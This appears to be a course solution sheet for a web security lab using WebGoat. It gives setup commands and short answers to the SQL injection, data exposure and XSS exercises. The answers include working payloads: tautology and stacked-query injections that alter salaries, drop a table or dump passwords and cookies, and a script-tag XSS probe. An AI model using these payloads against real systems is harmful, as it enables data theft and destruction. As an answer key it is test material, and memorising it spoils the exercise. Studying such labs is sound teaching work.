Solution for Lab 3 Web Security

Remote access the lab machine without x2go

```
# ssh into the lab machine and forward the port
# -L specify the mapped port and -J specify the jump server
# Please change ab12345 to your username
ssh -L 18080:localhost:18080 -J ab12345@seis.bris.ac.uk ab12345@rd-mvb-linuxlab.bristol.ac.u

cd <your working directory>

wget https://github.com/WebGoat/WebGoat/releases/download/v8.1.0/webgoat-server-8.1.0.jar
```

Then just follow the original lab instructions. In the step 6, because we are using prot forwarding, you can open the url `127.0.0.1:18080/WebGoat` on your browser of your local machine.

A1: SQL injection

SQL Injection (intro)

1. N/A
2. `SELECT department FROM employees WHERE first_name='Bob'`
3. `UPDATE employees SET department='Sales' WHERE first_name='Tobi'`
4. `ALTER TABLE employees ADD phone varchar(20)`
5. `GRANT ALTER TABLE TO UnauthorizedUser`
6. N/A
7. N/A
8. N/A
9. `'`, `or`, `'1'='1`
10. Login_count: `0`, User_Id: `0 OR 1=1`
11. Employee Name: `A`, Authentication TAN: `' OR '1' = '1`
12. Employee Name: `A`, Authentication TAN: `'; UPDATE employees SET salary=99999 WHERE first_name='John`
13. `%'; DROP TABLE access_log;--`

SQL Injection (advanced)

1. N/A
2. N/A
3. Name: `'; SELECT * FROM user_system_data;--` or `' UNION SELECT 1, user_name, password, cookie, 'A', 'B', 1 from user_system_data;--`, Password: `passW0rD`
4. N/A
5. Check the solution here for a scripting solution.
6. `Q1:4, Q2:3, Q3:2, Q4:3, Q5:4`

A3: Sensitive data exposure

1. Open the Development Tools in the browser, and go to the Network tab.
2. On WebGoat, click on Log in.
3. Locate the query to start.mvc in the Network tab and click on Parameters.
4. Notice the parameters `{"username":"CaptainJack","password":"BlackPearl"}`.

A7: Cross-Site Scriptng (XSS)

1. N/A
2. `Yes`
3. N/A
4. N/A
5. N/A
6. N/A
7. Put `<script>alert()</script>` in the box “Enter your credit card number:”.

More detailed explanation can be found here: https://github.com/WebGoat/WebGoat/wiki/(Almost)-Fully-Documented-Solution-(en)